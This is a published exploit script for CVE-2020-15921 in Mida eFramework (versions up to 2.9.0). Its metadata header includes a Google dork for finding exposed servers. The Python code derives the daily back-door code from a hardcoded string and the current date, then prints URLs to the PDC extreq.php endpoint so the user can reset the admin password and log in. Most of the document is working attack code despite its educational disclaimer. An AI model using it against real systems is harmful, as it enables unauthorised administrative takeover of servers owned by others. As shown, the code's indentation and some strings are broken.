# Exploit Title: Mida eFramework 2.9.0 - Back Door Access
# Google Dork: Server: Mida eFramework
# Date: 2020-08-27
# Exploit Author: elbae
# Vendor Homepage: https://www.midasolutions.com/
# Software Link: http://ova-efw.midasolutions.com/
# Reference: https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
# Version: <= 2.9.0
# CVE : CVE-2020-15921


#! /usr/bin/python3
# -*- coding: utf-8 -*-

from datetime import date

def print_disclaimer():
print("""
---------------------
Disclaimer:
1) For testing purpose only.
2) Do not attack production environments.
3) Intended for educational purposes only and cannot be used for law
violation or personal gain.
4) The author is not responsible for any possible harm caused by this
material.
---------------------""")

def print_info():
print("""
[*] Mida Solutions eFramework PDC Administrative Back-Door access
(CVE-2020-15921)
[*] Reference:
https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
[*] This script can be used to retrieve the code which gives you the
possibility to change the password.
[*] How it works:
1) run the script
2) copy the output to the URL you want to access (i.e.
http://192.168.1.60:8090/PDC/extreq.php?code=THE-CODE)
3) change the password
4) access as admin with the password """)

def main():
print_info()
print_disclaimer()
abc = ['a', 'b', 'c', 'd', 'e', 'f', 'g',
'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u',
'v', 'w', 'x', 'y', 'z']
baseString = 'midasoluti' # default value from source code
today = date.today()
dateString = "{}0{:02d}0{}".format(today.day, today.month, today.year)
retString = ""

for i in range(0,len(baseString)):
n = int(abc.index(baseString[i]))
m = int(dateString[i])
s = n+m
if (s >= len(abc)):
s = m
retString += abc[s]
print("[+] Generated code: {}".format(retString))
print("[?] Example URL: http://target:8090/PDC/extreq.php?code={0}
".format(retString))
print("[?] Example URL: https://target/PDC/extreq.php?code={0}
".format(retString))

if __name__ == '__main__':
main()